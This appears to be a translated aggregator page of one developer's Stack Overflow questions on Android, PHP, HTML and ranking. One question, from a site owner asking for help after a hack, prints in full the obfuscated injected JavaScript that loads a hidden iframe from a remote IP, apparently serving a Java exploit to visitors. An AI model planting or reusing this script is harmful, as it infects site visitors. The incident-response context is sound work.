在我的Android应用程序中,我用a SurfaceView来绘制东西.它在数千台设备上运行良好 - 除了现在用户开始在以下设备上报告ANR:
所以我得到了LG G4,确实能够验证问题.它与...直接相关SurfaceView.
现在猜猜经过几个小时的调试后修复了什么问题?它正在取代......
mSurfaceHolder.unlockCanvasAndPost(c);
Run Code Online (Sandbox Code Playgroud)
...... ......
mSurfaceHolder.unlockCanvasAndPost(c);
System.out.println("123"); // THIS IS THE FIX
Run Code Online (Sandbox Code Playgroud)
怎么会这样?
以下代码是我的渲染线程,除了提到的设备之外一直工作正常:
import android.graphics.Canvas;
import android.view.SurfaceHolder;
public class MyThread extends Thread …Run Code Online (Sandbox Code Playgroud) PHP的rand()功能不能提供良好的随机数.所以我开始使用mt_rand(),据说可以提供更好的结果.但这些结果有多好?有没有什么方法可以再次改善它们?
我的想法:
function rand_best($min, $max) {
$generated = array();
for ($i = 0; $i < 100; $i++) {
$generated[] = mt_rand($min, $max);
}
shuffle($generated);
$position = mt_rand(0, 99);
return $generated[$position];
}
Run Code Online (Sandbox Code Playgroud)
这应该给你"完美"的随机数,不应该吗?
欧元(€)是22个欧洲国家的官方货币.
在HTML中,有不同的可能性来显示标志€:
€€€你会在HTML中使用哪一个?我认为并非所有浏览器都支持任何表示形式.遗憾的是,没有标准的方式来显示标志.
你能推荐一种陈述吗?有什么区别?哪种支持最好?
我希望你能帮助我.非常感谢你提前!
在我的用户数据库表中,我将用户的电子邮件地址的MD5哈希值作为id.
例: email(example@example.org) = id(d41d8cd98f00b204e9800998ecf8427e)
不幸的是,我现在必须将id表示为整数值 - 以便能够使用其中id只能是整数的API.
现在我正在寻找一种方法将id编码为一个整数,以便在接收时再次发送解码.我怎么能这样做?
我的想法到目前为止:
convert_uuencode()并convert_uudecode()为MD5哈希ord()值替换MD5哈希的每个字符哪种方法更好?你知道更好的方法吗?
我希望你能帮助我.非常感谢你提前!
问题:
在我的网站空间上有PHP文件,所有这些都以此结尾:
<?php include 'footer.php'; ?>
Run Code Online (Sandbox Code Playgroud)
在此行之前,文件中还有HTML代码.
浏览器中的输出以此结束,当然:
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
但昨天,最后突然出现了一些恶意代码.我的index.php的输出是:
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Run Code Online (Sandbox Code Playgroud)
我在我的网站空间上打开了文件(通过FTP下载),我看到有人把这个代码放到了文件中!
怎么会发生这种情况?
我能想象的唯一方法:
症状:
用户报告在Firefox中弹出一个蓝色面板.它要求他们安装一个插件.现在他们中的一些人在他们的PC上有Exploit.Java.CVE-2010-0886.a.
这是由于恶意代码?代码到底做了什么?
你能帮助我吗?
请帮帮我,我真的很绝望.
也许还有一个问题,如果你知道我怎么能得到它:我怎么能在将来阻止这样的事情呢?
编辑#1:
我在我的网站空间的根目录中找到了一个名为"x76x09.php"的文件.它的文件大小为44.281字节.我已下载并尝试打开它.但我的防病毒软件称它是一种木马(Trojan.Script.224490).我认为此文件已被执行并将恶意代码添加到每个目录中的"index.php".这有帮助吗?该木马如何进入我的网站空间?这是一个众所周知的病毒吗?
编辑#2:
我的主机说他现在可以确定该文件没有通过FTP上传.所以感染不是通过FTP发生的.根据我的主机,它必须是不安全的脚本.
编辑#3:
根据PHPSecInfo的安全漏洞:
编辑#4:
我已经分析了在我的网络服务器上执行的文件.这是结果. …
对于我的Android应用程序,我得到了几个解组错误,尽管我认为我已经完成了通过Parcelables 正确保存和加载对象所需的一切.你能告诉我我的代码有什么问题吗?
错误1:
java.lang.RuntimeException: Unable to start activity ComponentInfo
Caused by: java.lang.RuntimeException: Parcel android.os.Parcel@41279860: Unmarshalling unknown type code 6619241 at offset 1372
at android.os.Parcel.readValue(Parcel.java:1922)
at android.os.Parcel.readMapInternal(Parcel.java:2094)
at android.os.Bundle.unparcel(Bundle.java:223)
at android.os.Bundle.getParcelable(Bundle.java:1158)
at android.app.Activity.onCreate(Activity.java:860)
at my.app.package.PlayComputer.onCreate(PlayComputer.java:1012)
at android.app.Activity.performCreate(Activity.java:4465)
Run Code Online (Sandbox Code Playgroud)
在1012行MyActivity是调用super.onCreate(savedInstanceState);中Activity的onCreate().
protected void onSaveInstanceState(Bundle savedInstanceState) {
if (myObject == null) {
savedInstanceState.putParcelable("myObject", null);
}
else {
savedInstanceState.putParcelable("myObject", myObject);
}
savedInstanceState.putInt(...);
savedInstanceState.putString(...);
savedInstanceState.putBoolean(...);
super.onSaveInstanceState(savedInstanceState);
}
Run Code Online (Sandbox Code Playgroud)
myObject是一类MyObject具有以下方法:
public void writeToParcel(Parcel out, int flags) …Run Code Online (Sandbox Code Playgroud) 在我的Android游戏中,我有一个回合制的多人游戏.用户在大厅等待对手,只要恰好有3个匹配,他们就会一起去一个新的游戏室,这是另一个活动而不是大厅.
文档建议让活动扩展BaseGameActivity.但是当我在玩家已经连接时切换活动时,我不需要将连接部分放在我的活动随后绑定的服务中吗?
有没有人尝试使用游戏服务?如果我不能使用BaseGameActivity,如何开始?
我不想评分等级为1到10的项目,而是希望进行1对1"战斗".两个项目彼此相邻显示,您可以选择一个您喜欢的项目.基于这些"战斗"结果,算法应计算每个项目的评级.
你可以在Flickchart.com上看到这种方法,用这种方法对电影进行评级.
它看起来像这样:
截图http://i45.tinypic.com/2nv3ugy.jpg
如你所见,如果物品赢得"战斗",物品就会向上推.排名总是根据"战斗"结果而变化.但这不能仅仅取决于胜利报价(这里是54%),因为对抗"泰坦尼克号"比赢得"25小时"左右更难.
有一些事情对我来说还不太清楚: - 收视率是如何计算的?你如何决定哪部电影在排名中位居第一?你必须考虑一个项目获胜的频率以及被打败的项目有多好. - 如何选择哪些项目"打架"?
当然,你无法告诉我Flickchart是如何做到的.但也许你可以告诉我它是如何做到的.提前致谢!
我希望在我的应用程序顶部有一个菜单栏 - 就像Facebook,Google +或Twitter一样:
这是Twitter应用程序的屏幕截图,显示了这个栏:它显示在每个活动中,左侧是公司徽标(可点击),右侧是1-3个菜单项(可点击图片).

它也可以在GDCatalog应用程序中看到:

因此,该操作栏有一些要求:
实施此类操作栏的最佳做法是什么?
GreenDroid就是这样(使用合并):
<?xml version="1.0" encoding="utf-8"?>
<!--
/*
** Copyright (C) 2010 Cyril Mottier (http://www.cyrilmottier.com)
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
** http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is …Run Code Online (Sandbox Code Playgroud) 如果你想在Android中预先填充数据库(SQLite),这并不像人们想象的那么容易.
所以我发现这个教程也经常在Stack Overflow上引用.
但是我不喜欢这种预先填充数据库的方式,因为你从数据库处理程序中获取控件并自己创建文件.我宁愿不触摸文件系统,让数据库处理程序自己完成所有事情.
所以我认为可以做的就是像往常一样在数据库处理程序的onCreate()中创建数据库,然后从/ assets加载一个文件(.sql),其中包含要填充值的语句:
INSERT INTO testTable (name, pet) VALUES ('Mike', 'Tiger');
INSERT INTO testTable (name, pet) VALUES ('Tom', 'Cat');
...
Run Code Online (Sandbox Code Playgroud)
但是在处理程序的onCreate()中调用execSQL()并不能真正起作用.似乎/ assets文件的大小不得超过1MB,而execSQL()只执行第一个语句(Mike-Tiger).
你会做什么做预先填充数据库?
android ×5
php ×3
security ×2
charts ×1
database ×1
euro ×1
exception ×1
hash ×1
html ×1
integer ×1
java ×1
javascript ×1
md5 ×1
multiplayer ×1
navigation ×1
parcelable ×1
random ×1
ranking ×1
sign ×1
sql ×1
sqlite ×1
statistics ×1
string ×1
surfaceview ×1
titlebar ×1
virus ×1
voting ×1
xhtml ×1